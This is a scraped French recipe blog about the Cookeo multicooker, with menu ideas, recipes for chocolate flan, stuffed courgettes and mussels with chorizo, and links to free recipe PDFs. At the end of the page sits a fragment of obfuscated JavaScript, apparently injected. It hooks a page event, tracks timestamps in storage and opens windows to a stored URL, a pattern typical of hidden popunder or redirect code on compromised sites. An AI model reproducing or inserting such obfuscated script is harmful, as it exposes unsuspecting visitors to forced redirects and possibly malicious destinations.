Menus  cookeo équilibrés cela vous dit ?

Bonjour tout le monde j’aimerai savoir si des menus équilibrés avec des recettes cookeo pour plat principal ou entrée ou dessert vous intéresse. En fait le principe consisterait  à proposer une journée complète de repas avec :

-une entrée

-un plat principal

-un laitage

– un fruit ou équivalent

L’objectif ne serait  pas de vous mettre au régime  mais de vous proposer une journée équilibrée en apports  nutritionnels.

En effet chaque jour notre corps a besoin d’une multitude d’apports qu’il faut équilibrer.  Alors pourquoi ne pas utiliser notre cookeo pour nous procurer plaisir gustatif et équilibre alimentaire.

Outre le fait d’équilibrer nos assiettes les menus vous donnerait des idées de repas pour la vie quotidienne.

Qu’en pensez – vous ? J’attends vraiment vos réactions et vos propositions.

Encore merci à tous pour votre suivi.

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Temps de cuisson des bettes au cookeo

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Vous trouverez donc ici un PDF gratuit de 29 fiches recettes cookeo Rôtis .Vous pouvez bien sûr le télécharger encliquant ICI ou sur l’image.

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Flan pâtissier chocolat cookeo sans pâte

Ingrédients

3 œufs

100 g de chocolat noir

80  g de sucre en poudre

90 g de farine

1 litre de lait

1 sachet de sucre vanillé

Préparation

Faites préchauffer votre four  à 180°.Beurrer un moule ou un plat

Mode dorer

Versez Le lait dans la cuve puis cassez les morceaux de chocolat et ajoutez les au lait pour les faire fondre.

Quand le chocolat est fondu ajoutez le sucre en poudre, le sucre vanillé et mélangez.

Ajoutez la farine .Portez le mélange à ébullition .

Quand le mélange est à ébullition  ajoutez les œufs battus.

Versez l’ensemble de la préparation dans un moule ou dans un plat.

Enfournez minimum 40 mn   à 180°.

Laissez refroidir à l’air libre et placer le moule au frigo

[youtube https://www.youtube.com/watch?v=pOFN3Ksjcvg]

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Vous trouverez donc ici un PDF gratuit de 30 recettes cookeo risotto à la viande .Vous pouvez bien sûr le télécharger encliquant ICI ou sur l’image.

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Temps de cuisson des brocolis au cookeo

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Courgettes farcies cookeo weight watchers

155 CALORIES 3 PP 3 SP

Ingrédients pour 4 courgettes

4 courgettes rondes

200 g de bœuf haché

100 g d’oignons congelés

1 cuillère à café de concentré de tomates

1 cuillère à café de thym

1 cuillère à café de d’ail déshydraté

1 verre de vin blanc

Sel

Poivre

200 ml d’eau

Préparation

Lavez les courgettes et coupez des chapeaux

Evidez les courgettes . Hachez les oignons .

Déposez dans un saladier la viande hachée, les oignons puis ajoutez la cuillère de concentré de tomates, le thym, l’ail  .Salez et poivrez.

Farcissez les courgettes évidées .Placez les dans la cuve .

Cuisson rapide ou sous pression

Programmez 7 mn

Servez chaud

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[youtube https://www.youtube.com/watch?v=TzKphvgwSz0]
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Voici un récapitulatif des recettes cookeo que j’ai  réalisées et publiées sur mes blogs et sur ma page facebook cookerecettes.Et bien finalement c’est 120 recettes cookeo avec des recettes de légumes, de plats de viandes ou de poissons mais aussi des desserts .

Les recettes sont présentées sous forme de fiches par catégories (viandes poissons,légumes,desserts) et par ordre alphabétique.

J’espère que ce PDF vous sera bien utile .

Vous pouvez donc téléchargez gratuitement ce PDF  en cliquant sur l’image ou ICI

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Oeufs brouillés cookeo

Le blog http://recettescookeo.com/ nous rappelle que le cookeo est un multicuiseur alors on peut l’utiliser seulement dans la fonction dorer sans pour autant utiliser la fonction cuisson sous presssion ou cuisson rapide . J’en vois déjà qui vont critiquer qui vont dire  que l’on peut prendre un faitout à la place . Certes c’est vrai mais moi j’aime bien utiliser mon cookeo comme une pôele . Je dirais chacun ses goûts non ????

Pour la recette c’est donc ICI 
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30 recettes cookeo weight watchers

Après le PDF des 20 recettes cookeo weight watchers voici maintenant 10 recettes supplémentaires soit au total 30 recettes cookeo weight watchers ,un PDF que vous pouvez téléchargez en cliquant ICI ou sur l’image
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10 recettes cookeo pommes de terre et viandes

Pommes de terre au lard

Pommes de terre corned beef

Pommes de terre bacon

Pommes de terre farcies

Pommes de terre au viandox

Pommes de terre farcies de Sandrine

Pommes de terre aux 2 jambons

Pommes de terre vin blanc franc comtoise

Pommes de terre à la savoyarde

Pommes de terre sauce cheddar

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Moules chorizo cookeo

Parfois vous vous levez le matin et vous dites tiens je mangerai bien cela aujourd’hui. Une idée qui vous entête, une envie de chorizo .C’est un peu ce qui s’est passé mais en plus je voulais faire une recette de moules  alors je fouine sur le net et j’adapte une recette de moules au chorizo  pour le cookeo. Le résultat est super sympa n’hésitez pas à tester !!!!

Ingrédients pour 4 personnes

1kg  de moules décortiquées congelées

100 g de chorizo

100 g d’oignons congelés

100 g de lanières de poivrons congelés

1 petit verre de vin blanc

200 ml d’eau

Huile d’olive

Préparation

Mode dorer

Faites dorer les oignons dans l’huile d’olive puis ajoutez les morceaux de chorizo, les lanières de poivron puis les moules décortiquées.

Versez le verre de vin blanc et 200 ml d’eau .

Cuisson rapide ou sous pression

Programmez 5 mn . Servez chaud
[youtube https://www.youtube.com/watch?v=OZiZUNKAf8Y&w=560&h=315]
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Temps de cuisson des artichauts au cookeo

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ARTICHAUTS

//

//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


//
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_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());